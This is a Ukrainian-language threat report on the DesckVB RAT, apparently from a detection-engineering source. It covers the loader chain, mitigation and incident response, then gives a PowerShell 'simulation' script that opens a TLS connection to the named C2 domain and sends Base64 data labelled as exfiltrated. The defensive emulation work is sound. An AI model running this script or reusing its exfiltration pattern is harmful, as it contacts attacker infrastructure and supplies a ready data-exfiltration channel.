Аналіз DesckVB RAT: Від завантажувача на JavaScript до безфайлового .NET RAT

Резюме

DesckVB RAT — це троян, що працює на JavaScript, який перетворюється в завантажувач PowerShell для отримання та виконання файлу .NET DLL без файлової оболонки безпосередньо в пам’яті. Щоб приховати виконання, завантажувач використовує кодування Base64 і зворотню обфускацію рядків, зловживає InstallUtil.exe як LOLBin і створює новий процес, використовуючи CreateProcessA. Після активації RAT встановлює зашифроване C2-комунікацію через HTTPS і підтримує модулі для логування клавіатури, доступу до веб-камери та виявлення антивірусів.

Розслідування

Аналіз показує, що початковий етап JavaScript записує скрипт PowerShell в C:UsersPublic, а потім звертається до обфуcкованого домену для завантаження .NET збірки (наприклад, ClassLibrary3.dll). Збірка завантажує допоміжні DLL, створює суспендований процес і впроваджує код корисного навантаження, повідомляючи про конфігураційні деталі, такі як вторинний шкідливий домен і порт. Телеметрія мережі підтверджує TLS-зашифровані комунікації від інфікованого хоста до інфраструктури C2 нападника.

Пом’якшення

Заблокуйте виконання ненадійних або непідписаних скриптів PowerShell і обмежте використання InstallUtil.exe для неадміністративних або несподіваних процесів. Застосуйте строгий контроль вихідних даних, включаючи інспекцію HTTPS, де це можливо, та фільтрацію репутації доменів для виявленої шкідливої інфраструктури. На кінцевих точках виявляйте використання CreateProcessA із флагом суспендованого процесу та сигналізуйте про шаблони завантаження збірок .NET у пам’ять, характерні для безфайлових ін’єкцій.

Відповідь

Якщо виявлено індикатори, ізолюйте кінцеву точку, зупиніть ланцюжок шкідливого процесу та зафіксуйте знімки пам’яті для аналізу зборок в пам’яті та ін’єктованих областей. Видаліть впроваджені артефакти PowerShell з C:UsersPublic і знищте будь-які пов’язані DLL або залишки завантажувача. Скидання скомпрометованих облікових даних, змініть вразливі секрети і перевірте журнали файрволу/проксі на вихідні з’єднання з перерахованими доменами і портами.

Виконання симуляції

Передумова: Перевірка телеметрії та базових значень перед польотом (Pre-flight Check) повинна бути пройдена.

Обгрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та наратив повинні прямо відображати ідентифіковані TTP, і прагнути генерувати точну телеметрію, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до хибної діагностики.

• Описи атаки та команди:
  Атакуючий, отримавши початкову опору, запускає PowerShell-навантаження типу “життя-за-рахунок-системи”, яке відкриває TCP-з’єднання з обгорткою TLS до закодованого C2 домену manikandan83.mysynology.net на порту 7535. Навантаження кодує фіктивний блок даних за допомогою Base64 (ілюструючи T1132.002) і передає його через TLS канал. Оскільки використовуються .NET класи PowerShell, жодні зовнішні бінарні файли не записуються на диск, що відображає безфайлову природу DesckVB RAT. З’єднання встановлюється дочірнім процесом (powershell.exe), яке буде фіксуватися Sysmon як подія мережевого з’єднання з точним доменом, портом і прапором TLS, що контролює правило.

• Сценарій регресійного тестування:

  # --------------------------------------------------------------
  # Симуляція C2 комунікацій DesckVB RAT (PowerShell)
  # --------------------------------------------------------------
  # Параметри
  $c2Domain = "manikandan83.mysynology.net"
  $c2Port   = 7535
  
  # Підроблене навантаження (Base64 закодоване) – представляє ексфільтровані дані
  $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
  
  try {
      # Встановити TCP з'єднання
      $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
      $netStream = $tcpClient.GetStream()
  
      # Обгорнути TLS (SslStream)
      $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
      $sslStream.AuthenticateAsClient($c2Domain)
  
      Write-Host "[+] TLS рукостискання завершено з $c2Domain:$c2Port"
  
      # Надіслати довжину навантаження (4‑байтний big‑endian) потім дані
      $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
      $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
      $sslStream.Write($len,0,$len.Length)
      $sslStream.Write($bytes,0,$bytes.Length)
      $sslStream.Flush()
      Write-Host "[+] Навантаження надіслано (довжина Base64 $($bytes.Length))"
  
  } catch {
      Write-Error "[-] З'єднання не вдалося: $_"
  } finally {
      # Чисте завершення
      if ($sslStream) { $sslStream.Close() }
      if ($netStream) { $netStream.Close() }
      if ($tcpClient) { $tcpClient.Close() }
      Write-Host "[*] З'єднання завершено."
  }

• Команди очищення:

  # Переконайтесь, що всі залишкові NetTCP-з'єднання PowerShell закриті
  Get-Process -Name powershell | Where-Object {
      $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
  } | Stop-Process -Force
  
  # Опціонально: Видалити Sysmon (якщо це одноразове тестове середовище)
  # & "$env:ProgramFilesSysmonSysmon.exe" -u